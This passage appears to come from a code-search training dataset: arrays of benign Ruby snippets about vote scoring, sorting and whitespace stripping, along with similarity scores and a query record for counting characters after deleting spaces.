scrambled\n end\n return answers\n end\n end", "def answers\n @answers ||= {}\n end", "def sorted_trackers\n ratings = []\n self.trackers.each do |user|\n ratings << {entity: user.id, weight: self.calculate_relation(user).to_i}\n end\n return ratings.sort_by{ |h| h[:weight] }.reverse\n end", "def sort_teams_and_adjs\n @teams.sort! { |a,b| b.calc_rank <=> a.calc_rank }\n @adjs.sort! { |a,b| b.score <=> a.score }\n\n #@teams.sort! { |a,b| b.score <=> a.score } #allows sorting by score only\n #expression is flipped in terms of a and b\n #therefore we have decending in teams by score\n end", "def get_answers_for_question(question_id)\n answers = Array.new\n question = Question.find_by_id(question_id, :include => :answers)\n question.answers.each do |ans|\n answers << ans\n end\n return answers\n end", "def unanswered_by_votes(options={})\n records(path + \"unanswered/votes\", options)\n end", "def sort_teams_and_adjs(round)\n\t\t \tteams = round.tournament.teams;\n\t\t teams.sort! { |a,b| a.points <=> b.points }\n\n\t\t adjs = round.tournament.adjs\n\t\t adjs.sort! { |a,b| a.rating <=> b.rating }\n\n\t\t return [teams, adjs]\n\t\t end", "def process_panel(questions, questions_response_count)\n questions_response_count = Hash[questions_response_count.sort_by {|k, v| [v, k] }]\n panel_score = 0\n sorted_panel_questions = []\n questions_response_count.each do |key, value|\n sorted_panel_questions << questions.select {|q| q.id.eql?(key) }[0]\n panel_score += value\n end\n [panel_score, sorted_panel_questions]\n end", "def answer_history\n answers.unscope(:order).\n order(created_at: :desc).\n pluck(:question_id, :id, :current_answer).\n group_by(&:first).\n map do |pair|\n {\n question_id: pair[0],\n answer_ids: pair[1].reject(&:last).map(&:second).first(10)\n }\n end\n end", "def player_sort()\n\t\tsession[:player].sort {|a, b| a.total_score <=> b.total_score }\n\tend", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n\tend", "def leaderboard\n # TODO: there's probably a smart way to do this in DM\n User.all.map do |u|\n s = u.best_submission_for(self)\n [u, s] if s\n end.compact.sort_by { |u,s| [s.score, s.created_at] }\n end", "def voters_who_voted\n votes.map(&:voter).uniq\n end", "def ordered_by_qualifications(candidates)\n ordered_by_qualification = [] #creates an empty array for the candidates\n years_of_experience = candidates.sort { |a, b| [a[:years_of_experience], a[:github_points]] <=> [b[:years_of_experience], b[:github_points]] }\n ordered_by_qualification << years_of_experience.reverse\n return ordered_by_qualification\nend", "def collate_feedback(answered)\n total = score(answered)\n feed = Array.new\n all = self.choices.sort_by{ |a| a[:position] }\n all.each do |choice|\n found = answered.select { |x| x[\"id\"] == choice.id }\n if ((choice.value > 0 && (found.nil? || found.empty?)) ||\n (choice.value <= 0 && (!found.nil? && !found.empty?)))\n feed.push(choice.feedback)\n end\n end\n # if 100% correct, or no other feedback provided, give general feedback\n if (feed.empty? || total >= 100 &&\n (!self.feedback.nil? && !self.feedback.empty?))\n feed.push(self.feedback)\n end\n return feed\n end", "def answers\n return Answer.where(question_id: self.id) \n end", "def hand_score\n cards.map {|a| a.value}.sort {|a,b| a <=> b}.last\n end", "def obtain_scores\n response = DYNAMODB.scan(table_name: TABLE_NAME)\n parsed_items = parse_items(response.items)\n parsed_items = parsed_items.sort_by{ |item| item['score'] }\n parsed_items.sort_by{ |item| item['date_time'] }\nend", "def get_votes\n\t\t@voters.each{ |voter| @votes << voter.vote(@candidates) }\n\tend", "def process_panel(questions, questions_response_count)\n questions_response_count=Hash[questions_response_count.sort_by { |k, v| [v, k] }]\n panel_score=0\n sorted_panel_questions=Array.new\n questions_response_count.each {\n |key, value|\n sorted_panel_questions << questions.select { |q| q.id.eql?(key) }[0]\n panel_score+=value\n }\n return panel_score, sorted_panel_questions\n end", "def process_panel(questions, questions_response_count)\n questions_response_count=Hash[questions_response_count.sort_by { |k, v| [v, k] }]\n panel_score=0\n sorted_panel_questions=Array.new\n questions_response_count.each {\n |key, value|\n sorted_panel_questions << questions.select { |q| q.id.eql?(key) }[0]\n panel_score+=value\n }\n return panel_score, sorted_panel_questions\n end", "def search_queries_with_frequencies_sorted_descending\n @searches_grouped_by_frequency.to_a.sort{|a,b| b[1] <=> a[1]}\n end", "def sorted_results(unsorted)\n scores = []\n sorted = []\n\n unsorted.group_by(&:itself).each_pair do |result, results|\n relevance = result_relevance(result, results.length)\n new_index = scores.bsearch_index { |val| val < relevance }\n # if this result has the lowest score, add it to the end\n new_index ||= -1 \n\n scores.insert(new_index, relevance)\n sorted.insert(new_index, result.first)\n end\n sorted\n end", "def correct_answers_by_quiz(quiz)\n full_list_of_answers = self.correct_answers #gets correct_answers on the current user instance.\n correct_answers_from_quiz = full_list_of_answers.select {|answer| answer.quiz_id == quiz.id} #selects answers whose quiz_id matches the passed in quiz's id. Makes an array of correct answers by quiz for this user instance\n end", "def score\n self.up_votes - self.down_votes\n end" ]
[ "0.7481147", "0.68326414", "0.6691776", "0.66833985", "0.642999", "0.64024454", "0.64024454", "0.63260174", "0.6305289", "0.6238024", "0.619802", "0.6185966", "0.6174613", "0.61741894", "0.6155579", "0.6088728", "0.6088554", "0.6081778", "0.60578936", "0.59995997", "0.59672093", "0.5951242", "0.59448415", "0.591357", "0.5905092", "0.58952194", "0.58142257", "0.5811386", "0.57890165", "0.5783599", "0.5780998", "0.57781345", "0.5774644", "0.57691", "0.57485485", "0.57477707", "0.57477707", "0.5706448", "0.5701458", "0.56790006", "0.5653655", "0.5642632", "0.5637217", "0.5636938", "0.5629838", "0.5628698", "0.5619932", "0.5606085", "0.55888397", "0.5578353", "0.5577063", "0.55730754", "0.557094", "0.5561946", "0.55617213", "0.55617213", "0.55617213", "0.5559618", "0.5553165", "0.5552294", "0.5548862", "0.5540785", "0.5530597", "0.5530597", "0.5515298", "0.5504435", "0.5493653", "0.54813087", "0.5477795", "0.54765743", "0.54752445", "0.546656", "0.54659456", "0.5465089", "0.5461804", "0.54606825", "0.5447537", "0.5442562", "0.5437095", "0.5434084", "0.54323393", "0.5430358", "0.54292476", "0.54288477", "0.54275477", "0.542168", "0.54150265", "0.5412284", "0.54111826", "0.54106486", "0.54104334", "0.5405862", "0.5401316", "0.5398766", "0.5397287", "0.5397287", "0.53949344", "0.53903997", "0.5389907", "0.53870964" ]
0.8469105
0
to be called as question.vote_score/ answer.vote_score. returns the score for a particular question/answer OUTPUT: total score as an integer
def vote_score votes.sum(:value) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def score\n votes.sum(:vote)\n end", "def score\n # add score caching\n total = 0\n self.votes.each do |vote|\n total += vote.value\n end\n total\n end", "def get_total_score\n\t\tquestion_scores = Question_score.for_game_record(self.id)\n\t\tscore = 0\n\t\tquestion_scores.length.times do |i|\n\t\t\tscore += question_scores[i].score\n\t\tend\n\t\tscore\n\tend", "def get_total_score\n total_score = 0\n \n self.map.questionnaire.questions.each{\n | question |\n item = Score.find_by_response_id_and_question_id(self.id, question.id)\n if(item != nil)\n total_score += item.score\n end\n } \n return total_score \n end", "def total_score\n\t\t0 + score_one.to_i + score_two.to_i + score_three.to_i + score_four.to_i\n\tend", "def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end", "def score(answered)\n score = 0\n answered.each do |a|\n score += a.value\n end\n # TODO: Decide whether safeguarding against negative scoring is worth it\n if (score < 0)\n score = 0\n end\n return score\n end", "def total_score\n sum = self.games.sum{|game|game.points}\n sum.to_i / self.games.count\n end", "def score\n @result.to_i\n end", "def score\n self.up_votes - self.down_votes\n end", "def rate\n votes = answers.inject(0) do |sum, a| \n sum + a.votes.count \n end\n \n # Return a count of votes and answers\n answers.count + votes\n end", "def score\n # an answer has a reference to a score. we simply can return\n # the score of that choice (which is defined by the teacher)\n choice.score\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n\tend", "def score\n\t\tupvotes.count\n\tend", "def get_total_score\n scores.map(&:score).sum\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n end", "def compute_total_score(scores)\n total = 0\n self.questionnaires.each do |questionnaire|\n total += questionnaire.get_weighted_score(self, scores)\n end\n return total\n end", "def total_votes\n answers.sum(&:votes_count)\n end", "def score\n @score ||= (\n total = 0\n words.each do |word, rank|\n total += score_word(word, rank)\n end\n total\n )\n end", "def score\n calculator.score\n end", "def score\n return @score\n end", "def points\n self.answer_votes.sum(:value).to_i\n end", "def total_score\n\t\t@array = []\n\t\tself.attributes.each do |key, value|\n\t\t\tif key.to_s =~ /^score/\n\t\t\t\t@array << value\n\t\t\tend\n\t\tend\n\t\tunless @array ==[]\n\t\t\treturn @array.reduce(:+)\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend", "def calculate_final_score\n self.scores.average(:total_score)\n end", "def total_score\n plays.inject(0) { |sum, word| sum + Scoring.score(word) }\n end", "def total_score \n \t\t@scores_array.reduce(0, :+) \n\tend", "def print_total_score\n calculate_score\n end", "def score\n @score || calculate_score\n end", "def total_score\n score || 0 #pos - neg\n end", "def calculate_score(matches, total)\n # divide scores by our highest score for a range of 0 - 1, \n # then multiply by 10 for our 1-10 scoring.\n @prescore = (matches.count.to_f / total.to_f)\n if matches.count.to_f == 0.0 # if there are no tweets\n @@score = 0 # assign this to be 0 value\n else\n @@score = (matches.count.to_f / total.to_f) / 0.004574170332\n end\n end", "def score\n 3*@tally + 5*@strength + 2*@wealth + @food + 30*@monsters_killed\n end", "def score\n seconds_passed = Time.now.to_i - Integer(time_for_last_correct_answer || 0)\n wrong_answers = nr_of_answers - nr_of_correct_answers\n # Scores grow linearly with number of correct answers, but\n # geometrically with number of wrong answers. That's a way to\n # ensure that more attention is paid to problem areas.\n x = Integer(nr_of_correct_answers - wrong_answers ** 1.5)\n if x < 0\n x # Time is not a factor when the score is negative.\n else\n 10_000_000 * x / (seconds_passed + 500_000)\n end\n end", "def avg_score_vote\n sql=<<-SQL\n select\n sum(\n case action\n when 1 then 0\n when 2 then 0\n when 3 then 1\n when 4 then 1\n when 5 then 1\n end\n ) / count(*) as sant\n from votes\n SQL\n (ActiveRecord::Base.connection.execute(sql).fetch_row[0].to_f * 100).round\n end", "def total_score\n return @plays.reduce(0) { |memo, word| memo + Scrabble::Scoring.score(word) }\n end", "def average_score\n responses = Response.all\n sum = 0\n count = 0\n\n responses.each do |response|\n r_summary = response.summarize\n if r_summary[self.name][:nrm]\n sum += r_summary[self.name][:nrm]\n count += 1\n end\n end\n\n return (sum/count).round\n end", "def calculate_score\n new_score = self.retweet_count * 10 + self.favorite_count * 10\n new_score += 10 if self.with_image\n self.score = new_score\n self.save if self.changed?\n return self\n end", "def calculate_score\n #set default user score value to 0 in the database but to prevent any errors and remove database dependencies i am including this line in the model as well\n score || 0\n self.games.each do |game|\n score+=game.points\n end\n score\n end", "def calculate_score(content, quiz_id)\n @total_correct_choices = 0\n choices.each do |key, value|\n @total_correct_choices += 1 if value\n end\n\n @full_credit = full_credit(quiz_id)\n @points_per_choice = @full_credit / @total_correct_choices\n\n @correct_choices = Array.new\n @incorrect_choices = Array.new\n\n student_choices(content) do |text, is_selected|\n if is_selected\n if choices[text]\n @correct_choices << text\n else\n @incorrect_choices << text\n end\n end\n end\n\n score = (@correct_choices.length - @incorrect_choices.length) * @points_per_choice\n normalize score, quiz_id\n end", "def score\n 2 * won + drawn + noresult\n end", "def recalculate_score!\n self.score = Vote.find(:all, :conditions => ['proposal_id = ? AND value IN (-1, 1)',self.id], :select => 'value').map{|v|v.value}.sum\n self.save!\n end", "def evaluation\n responses = self.user_survey_responses\n correct_answers = 0.0\n responses.each do |response|\n answer = Answer.find(response.answer_id)\n correct_answers += 1 if answer.correct\n end\n if self.grade.nil?\n self.grade = Grade.create score: 0, gradable: self, user_id: self.user_id\n end\n if (responses.size != 0) then\n evaluation = (correct_answers/responses.size)*10\n #self.update_attributes result: evaluation\n if evaluation != grade.score\n self.grade.update_attributes score: evaluation\n end\n return evaluation\n else\n #self.update_attributes result: 0.0\n if grade.score != 0\n self.grade.update_attributes score: 0, gradable: self\n end\n return 0.0\n end\n end", "def total_score\n sum = 0\n @array_of_words.each do |a_word|\n sum+= Scrabble::Scoring.score(a_word)\n end\n return sum\n end", "def match_score(other_user)\n num = 0\n denom = 1\n my_answer_choices = self.user_answers.map{|i| i.answer_choice}\n other_answer_choices = other_user.user_answers.map{|i| i.answer_choice}\n my_questions = my_answer_choices.map{|i|i.question}\n other_questions = other_answer_choices.map{|i|i.question}\n questions = my_questions & other_questions\n questions.each do |question|\n my_answ = my_answer_choices.detect{|choice| choice.question_id == question.id}\n their_answ = other_answer_choices.detect{|choice| choice.question_id == question.id}\n weight = self.user_answers.detect{|answer| answer.answer_choice_id == my_answ.id}.weight\n num += weight if my_answ == their_answ\n denom += weight\n end\n return num.to_f/denom * 100\n end", "def total_score(play)\n sum = 0;\n play.decision_array.each_with_index{|v, i|\n sum += 1 if v == decision_array[i] && i != 0 # exclude an example\n }\n sum\n end", "def score\n total = 0\n docs = 0\n [@classes, @modules, @methods, @constants, @attrs].each do |collection|\n collection.each do |item|\n total += 1\n docs += 1 if item\n end\n end\n return 100 if total == 0\n return ((docs.to_f / total) * 100).to_i\n end", "def score\n @score\n end", "def total_score\n Scrabble::Scoring.make_array_of_scores(@plays_array)\n @total_score_instance = Scrabble::Scoring.return_array_of_scores.inject(0, :+)\n end", "def score\n l = comments.length.to_f\n return 0 if l.zero?\n\n (comments.reduce(0) { |p, a| p + a.score } / l).round(1)\n end", "def score\n rate.score\n end", "def total_score(precision: nil, **opt)\n result = get_scores(**opt).values.compact.sum\n # noinspection RubyMismatchedArgumentType\n precision ? result.round(precision) : result\n end", "def update_total_score\n @total_score += @score\n end", "def total_score\n total_score = 0\n plays.each do |word|\n total_score += Scrabble::Scoring.score(word)\n end\n return total_score\n end", "def total_score\n total = 0\n @cards.each do |card|\n total += card.value\n end\n\n sorted_cards = @cards.sort\n\n straights = get_straight(sorted_cards).reverse\n straights.each do |straight|\n total += 40\n sorted_cards.slice!(straight[0]..straight[1])\n end\n\n three_cards = get_number_of_a_kind(sorted_cards, 3)\n three_cards.each do |three|\n total += 20\n sorted_cards.slice!(three[0]..three[1])\n end\n\n pairs = get_number_of_a_kind(sorted_cards, 2)\n pairs.each do |pair|\n total += 10\n sorted_cards.slice!(pair[0]..pair[1])\n end\n\n total\n end", "def score\n self.votes.where({sentiment: true}).count - self.votes.where({sentiment: false}).count\n end", "def total_votes\n votes.sum(:weight)\n end", "def score\n total = 0\n achievements.each do |a|\n total += a.task.score\n end\n total\n end", "def rating\n return 0 if total_votes == 0\n (100 * self.yeses) / total_votes\n end", "def score\n\t\treviews.length > 1 ? 5 + (avg_rating-2.5)*2*rating_factor : -1\n\tend", "def score\n end", "def score\n s = Settings.instance\n s.faculty_weight.to_f * (s.rank_weight.to_f/self.rank.to_f + s.mandatory_weight.to_f*(self.mandatory ? 1.0 : 0.0))\n end", "def total_score\n\t\tall_scores = picks.collect { |pick|\n\t\t\tpicks_golfers = TournamentGolfer.where(golfer_id: pick.golfer_id, tournament_id: pick.pool.tournament_id).pluck(:total)[0]\n\t\t} - [nil] - [\"CUT\"]\n\t\tif all_scores.count < 5\n\t\t\treturn \"DQ\"\n\t\telse \n\t\t\tall_scores = all_scores.map {|score| score.to_i}\n\t\t\tall_scores = all_scores.sort\n\t\t\treturn all_scores[0..(pool.number_golfers_for_scoring-1)].sum\n\t\tend\n\tend", "def calculate_score\n @results.collect { |mir| mir.send(@column.to_sym) }.sum\n end", "def score\n @rolls.reduce(:+)\n end", "def total_votes\n self.votes.sum(:value)\n end", "def vote_total\n if self.votes.length > 0\n self.votes.reduce(0){|sum, vote| sum + vote.value}\n else\n self.votes.length\n end\n end", "def total_votes\n up_votes + down_votes\n end", "def get_score\n\t\tscore = ((360000/((@end_time - @start_time).to_f + @save_time.to_f))*((@number_of_correct-@number_of_hint).fdiv(@number_of_correct+1))).truncate(2)\n\t\tif score < 0\n\t\t\treturn 0\n\t\telse\n\t\t\treturn score\n\t\tend\n\tend", "def score(context)\n context.runner(@ability).score\n end", "def check_score\n score = @comment.upvotes - @comment.downvotes\n @comment.update_attribute(:score, score)\n end", "def total_pass_rate\n if self.all_correct_answers.count == 0\n return 0\n else\n return (self.all_correct_answers.count.to_f / self.all_answered_options.count.to_f * 100).round\n end\n end", "def update_score\n sum = 0.0\n total = 0.0\n ratings.each do |rating|\n vp = User.find(rating.user_id).voting_power \n sum = sum + rating.score * vp\n total = total + vp\n end\n average = sum / total\n variance = ratings.inject(0.0){ |sum, element| sum + \n (element.score - average) ** 2 }\n penalty = Math.log10((variance / ratings.size) + 1) + 1.0;\n update_attribute(:score, average / penalty)\n end", "def score\n return self.progress - self.budget_ratio\n end", "def average_score\n numbers_without_zeros = self.comments.map{|comment| comment.overall_score}.reject{|n| n==0}\n return 0 if numbers_without_zeros == []\n preround = numbers_without_zeros.inject(:+)/numbers_without_zeros.count.to_f\n return preround.round\n end", "def get_percent_of_vote\n\t\t(@votes.count(@winner).to_f / @votes.count.to_f * 100).round\n\tend", "def score\n @scores[ result.key ]\n end", "def get_overall_score\n score = 0\n polarities = []\n if opinions = input.at('opinions')\n input.at('opinions').css('opinion').each do |opinion|\n polarities << opinion.at('opinion_expression').attr('polarity').to_sym\n end\n \n positive = polarities.count(:positive)\n negative = polarities.count(:negative)\n \n return if (positive + negative) == 0\n \n score = ((positive - negative).to_f) / (positive + negative)\n end\n return score \n end", "def score\n verdict ? (verdict.score * problem.weight / verdict.max_score.to_f) : 0\n end", "def percentagize_score\n real_percentage = self.score\n return real_percentage.round\n end", "def percentagize_score\n real_percentage = self.score\n return real_percentage.round\n end", "def update_score\n self.score = posts.inject(0) { |score, post| score += post.rating }\n save\n end", "def total\n @frame.inject(0){|rez, item| item ? rez + item[:score] : rez }\n end", "def score_of_review_comments\n votes = 0\n self.reviews.each do |review|\n review.comments.each { |comment| votes += comment.vote_count }\n end\n votes\n end", "def total_score\n rank_items.to_a.sum { |item| item.rank_score * item.weight }\n end", "def result\n @user_score\n end", "def calculate_score\n raise \"Override and return the metric's score\"\n end", "def avg_score\n return 0 unless reviews.count.positive?\n reviews.average(:score).round(2).to_f\n end", "def score\n @scoreTotal = @jogadas[0].down_pin + @jogadas[1].down_pin\n end", "def result(result)\n @score += 3 if result == \"win\"\n @score += 1 if result == \"draw\"\n return score\n end", "def vote_sum\n sum = 0.0\n votes.each do |v|\n sum += v.value\n end\n sum\n end", "def average_rating\n \ttotal_score = 0\n \tnum_of_ratings = self.ratings.count\n \tself.ratings.each do |rating|\n \t\ttotal_score += rating.overall_rating\n \tend\n \tif num_of_ratings > 0\n \t\treturn total_score / num_of_ratings\n \telse\n \t\treturn 0\n \tend\n end", "def score\r\n @health + points\r\n end", "def score; end", "def rating\n (get_upvotes.size + 2)/(get_downvotes.size + 2)\n end", "def score\n @subject.score\n end", "def overall_rating\n\t\ttotal_score = 0\n\t\ttotal_score += self.setting \n\t\ttotal_score += self.hotness\n\t\ttotal_score += self.originality\n\t\ttotal_score += self.style\n\t\ttotal_score += self.attitude\n\t\treturn total_score / 5\n\tend", "def total_score\n @all_games.map do |games|\n games[\"home_goals\"].to_i + games[\"away_goals\"].to_i\n end\n end", "def score\n w = 0.3\n time = diff_time()\n sum_goods = goods()\n sum_bads = bads()\n total = sum_goods + sum_bads\n (w * sum_goods * (sum_goods/total.to_f)**3 * (total/time)).floor\n end", "def score\n populate_frames.inject(0) {|a,v| a+ v.frame_total}\n end", "def score\n return 'love' if @points == 0\n return 'fifteen' if @points == 1\n return 'thirty' if @points == 2\n return 'forty' if @points == 3 && opponent.points != 3 # Three points scored by each side and a player has 1 more point than his/her opponent.\n return 'advantage' if @points > 3 && @points == opponent.points + 1 # Three points scored by each side and a player has 1 more point than his/her opponent.\n return 'deuce' if @points >= 3 && @points == opponent.points # Both players score at least 3 points and the scores are equal.\n return 'win' if @points > 3 && @points == opponent.points + 2 # The first player to have at least 4 points total and at least 2 more points than opponent.\n end", "def get_vote_count\n\t\treturn calculate_vote_count\n\tend" ]
[ "0.8218928", "0.8117503", "0.79747325", "0.7670091", "0.75999284", "0.75368756", "0.751258", "0.74791527", "0.7412172", "0.7394929", "0.735004", "0.73118377", "0.7304688", "0.72910094", "0.7285687", "0.72447073", "0.7212126", "0.7207223", "0.71611756", "0.71505785", "0.7087465", "0.7054285", "0.7053067", "0.7036143", "0.6975547", "0.6956068", "0.6934675", "0.68984586", "0.6891711", "0.68532777", "0.6845146", "0.6837995", "0.6836674", "0.6827501", "0.6826386", "0.6814917", "0.6791854", "0.67841434", "0.67800653", "0.6763139", "0.67588395", "0.6757586", "0.6748842", "0.67458194", "0.67323476", "0.6726017", "0.67204577", "0.6696434", "0.668617", "0.66851777", "0.6683581", "0.6664176", "0.66628873", "0.66605777", "0.6644143", "0.66365755", "0.6616428", "0.66046804", "0.6603837", "0.6601725", "0.6599034", "0.659028", "0.6587964", "0.658265", "0.6568832", "0.65664136", "0.6563953", "0.65618914", "0.6551463", "0.6551008", "0.654698", "0.6545736", "0.6543433", "0.65404505", "0.6533088", "0.6532292", "0.6530659", "0.6513308", "0.6513308", "0.650148", "0.6501091", "0.6491755", "0.6490794", "0.6480389", "0.64802194", "0.647846", "0.6469002", "0.6458467", "0.6450668", "0.64504284", "0.64463097", "0.6434448", "0.643097", "0.64305085", "0.6430034", "0.6428891", "0.64226407", "0.64198035", "0.64182216", "0.64161855" ]
0.7999801
2
delete spaces count chars
def count_chars(str) p str.delete(' ').size end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def space_out\n gsub(/(.)/, ' \\1')\n end", "def undent\n gsub /^.{#{slice(/^ +/).length}}/, ''\n end", "def no_space(x)\n x.delete(' ')\nend", "def cleanup(string)\n string = string.gsub(/[^a-z]/i, ' ')\n until !string.include?(' ')\n string.gsub!(' ', ' ')\n end\n string\nend", "def cleanup str\n str2 = str.gsub(/[^A-Za-z]/, ' ')\n str3 = str2.gsub(/[ ]{2,}/, ' ')\nend", "def decrease_spaces()\n @spaces -= 1\n end", "def unique_spaces!\n self.gsub!(ANY_SPACE_PATTERN, UNIQUE_SPACE)\n end", "def no_space(x)\n x.gsub(\" \", \"\")\nend", "def cleanup(str)\n str.gsub!(/[^0-9a-z ]/i, ' ')\n str.gsub!(/\\s+/, ' ')\nend", "def strip_side_space!\n replace self.gsub(/^\\s+/, \"\").gsub(/\\s+$/, $/)\n end", "def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end", "def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end", "def unindent(txt, n = 2)\n txt.gsub /^[ ]{#{n}}/, ''\n end", "def dewhitespace\n gsub(/\\s+/,' ').strip\n end", "def cleanup(string)\n string.gsub(/[\\W\\d]/, ' ').gsub(/\\s+/, ' ')\nend", "def evaporate\n self.gsub(/\\s/, '')\n end", "def cleanup(str)\nstr.gsub!(/[^0-9A-Za-z]/, \" \").squeeze(\" \")\n\nend", "def strip_length(isbn)\r\n\tisbn.delete!('-' ' ')\r\n\tisbn.length\r\nend", "def remove_spaces\n @number = @number.gsub(/\\s+/, '')\n end", "def spaces_suround\n string = self\n unless [-1] == \" \"\n string = string + \" \"\n end\n unless [0] == \" \"\n string = \" \" + string\n end\n string\n end", "def normalize_spacing(text)\n text\n .delete(REMOVED_CHARACTERS)\n .tr(SQUEEZED_SPACES, ' ')\n .squeeze(' ')\n .sub(LEADING_SPACES, '')\n .sub(TRAILING_SPACES, '')\n .tr(NON_BREAKING_SPACE, ' ')\n end", "def no_space(x)\n # code go here\n x.gsub(' ', '')\nend", "def indentize!(count, char = ' ')\n tap do |s|\n s.gsub!(/([^\\n]*)(\\n|$)/) do\n s1 = Regexp.last_match(1)\n s2 = Regexp.last_match(2)\n not_empty = s1 != '' || s2 != ''\n \"#{char * count}#{s1}#{s2}\" if not_empty\n end\n end\n end", "def restore_spaces\n gsub(/(?<=\\S)(_|\\.)(?=\\S)/, ' ')\n end", "def without_garbage\n reg = Regexp.new /[#{String.characters.join}]+/\n self.scan(reg).join(\"\").gsub(\"\\n\", \" \").gsub(\"|\", \" \").gsub(\"-\", \" \")\n end", "def tighten\n gsub(/[\\t ]+/,' ').strip\n end", "def pre_proccess(text)\n text.to_s.strip.gsub(/[[:space:]]+/, ' ').gsub(/\\s{2,}/, ' ')\n end", "def delete_chars(count)\r\n return if (count > @_rl_screenwidth) # XXX\r\n\r\n if @hConsoleHandle.nil?\r\n #if (@_rl_term_DC)\r\n # buffer = tgoto(_rl_term_DC, count, count);\r\n # @_rl_out_stream.write(buffer * count)\r\n #else\r\n if (@_rl_term_dc)\r\n @_rl_out_stream.write(@_rl_term_dc * count)\r\n end\r\n #end\r\n end\r\n end", "def cleanup(txt)\n txt.gsub(/[^a-z]/i, ' ').squeeze(' ')\nend", "def clean_digit_lines(separated_digit_lines)\n separated_digit_lines.each do |chunk|\n chunk.delete_at(3)\n if chunk[0].length == 0\n chunk[0] = \" \"\n end\n end\nend", "def cleanup(text)\n text.gsub(/[^a-z]/i,\" \").squeeze(\" \")\nend", "def trim_whitespace; end", "def spaces; end", "def spaces; end", "def widont(text)\n text.gsub(/([^\\s])\\s+([^\\s]+)\\s*$/, '\\1&nbsp;\\2')\n end", "def cleanup(input)\n input.gsub(/[^a-zA-Z]/, ' ').squeeze(' ')\nend", "def test_removes_spaces\n\t\tassert_equal(true,check_isbn_length(\"123 123 123 4\"))\n\tend", "def trim_all_whitespace(text)\n text.to_a.map do |line|\n left_spacing(line) + line.squeeze(\" \").squeeze(\" \").lstrip #the 2. is a tab\n end.join\n end", "def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend", "def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend", "def squish!\n gsub!(/[[:space:]]+/, \" \")\n strip!\n self\n end", "def cleanup(string)\n string.gsub!(/[^a-z]/i, \" \") #/i makes it case insensitive\n\n loop do\n string.gsub!(\" \", \" \")\n break if !string.include?(\" \")\n end\n string\nend", "def remove_spaces(string)\n result = ''\n string.chars.each do |k|\n if k == ' '\n result += '%20'\n else\n result +=k\n end\n end\n result\nend", "def strip_space!\n replace self.gsub(/:\\s*/, \":\").gsub(/\\n/, \"\").gsub(/\\s+/, \" \").gsub(/(\\/\\*).*?(\\*\\/)/, \"\")\n end", "def cleanup(text)\n text && text.gsub(\"\\t\", ' ').dedent\n end", "def trimmed_whitespace(text)\n text.gsub(/[\\t\\n\\f\\r ]+/ium, ' ')\n end", "def remove_whitespace(dirty_name)\n \n return dirty_name.split(' ').join(\" \") \n \n end", "def unique_spaces\n self.gsub(ANY_SPACE_PATTERN, UNIQUE_SPACE)\n end", "def strip_all_spaces(text)\n text&&text.gsub(/&nbsp;|\\xC2\\xA0|\\xA0/, ' ').strip\n end", "def strip_cuts_and_padding( s )\n strip_padding( s.tr(cut_symbol, '') )\n end", "def condense_spaces(str)\n str.gsub(/\\s+/, \" \")\n end", "def test_remove_spaces\r\n\t\tisbn_number = '123 4X67 890'\r\n\t\tassert_equal('1234X67890', remove_spaces(isbn_number))\r\n\tend", "def cleanup(str)\r\n str.gsub!(/[^a-z]/, ' ').squeeze(' ')\r\nend", "def normalize_whitespace(input); end", "def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend", "def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend", "def increase_spaces()\n @spaces += 1\n end", "def cleanup(str)\n str.gsub(/[^a-z]/,\" \").squeeze(\" \")\nend", "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end", "def cleanup_noreg(string)\n blocks = string.split\n result = blocks.map do |word|\n word = word.chars.map! do |char|\n if char.downcase == char.downcase.upcase\n ' '\n else \n char\n end\n end\n word = word.join\n # p word\n #p word.squeeze(\" \")\n #word.squeeze(\" \")\n # take note that here +*& is a block or word, and gets replaced by a space without\n # any contiguous letter chars\n # so after join on line 48, there are 3 spaces between my and line, without the squeeze call\n word\n end\n result = result.join(' ').squeeze(' ')#.squeeze\nend", "def squish\n self.gsub(/[\\n\\t]/, '').squeeze(' ').strip\n end", "def rstrip!\n erase! @result.length - 1 - (@result.rindex(/[^\\s]/) || -1)\n end", "def cleanup(str)\n str.gsub(/([^a-z])/, ' ').squeeze(' ')\nend", "def trim\n self.gsub(/^\\s+/,'').gsub(/\\s+$/,'')\n end", "def ruspace (short = false)\n rusprice ' ', short\n end", "def count_spaces (foo)\n foo.count(\" \")\n end", "def cleanup(string)\n\ts = string.gsub(/[^0-9a-z]/i, ' ')\n\ts.squeeze(\" \")\nend", "def cleanup2(string)\n string.gsub(/[^a-z]/i, ' ').squeeze\nend", "def make_blanks\r\n\t#make an array with \"_ \" pushed in the length times. Every time its printed use join method\r\n\t\t@wordlength.times do |x|\r\n\t\t\t@blanks << \"_ \"\r\n\t\tend\r\n\tend", "def cleanup(string)\n string.gsub(/[^a-z0-9]/, \" \").gsub(/\\s+/, \" \")\n # string.gsub(/[^a-z]/, ' ').squeeze(' ')\nend", "def cleanup(str)\r\n str.chars.map {|char| char.match(/[A-Za-z0-9]/) ? char : ' ' }.join.squeeze(\" \")\r\nend", "def strip\n lambda do |rec, acc|\n acc.collect! do |v|\n # unicode whitespace class aware\n v.sub(/\\A[[:space:]]+/,'').sub(/[[:space:]]+\\Z/, '')\n end\n end\n end", "def cleanup(string)\n string.gsub(/[^a-z]/, ' 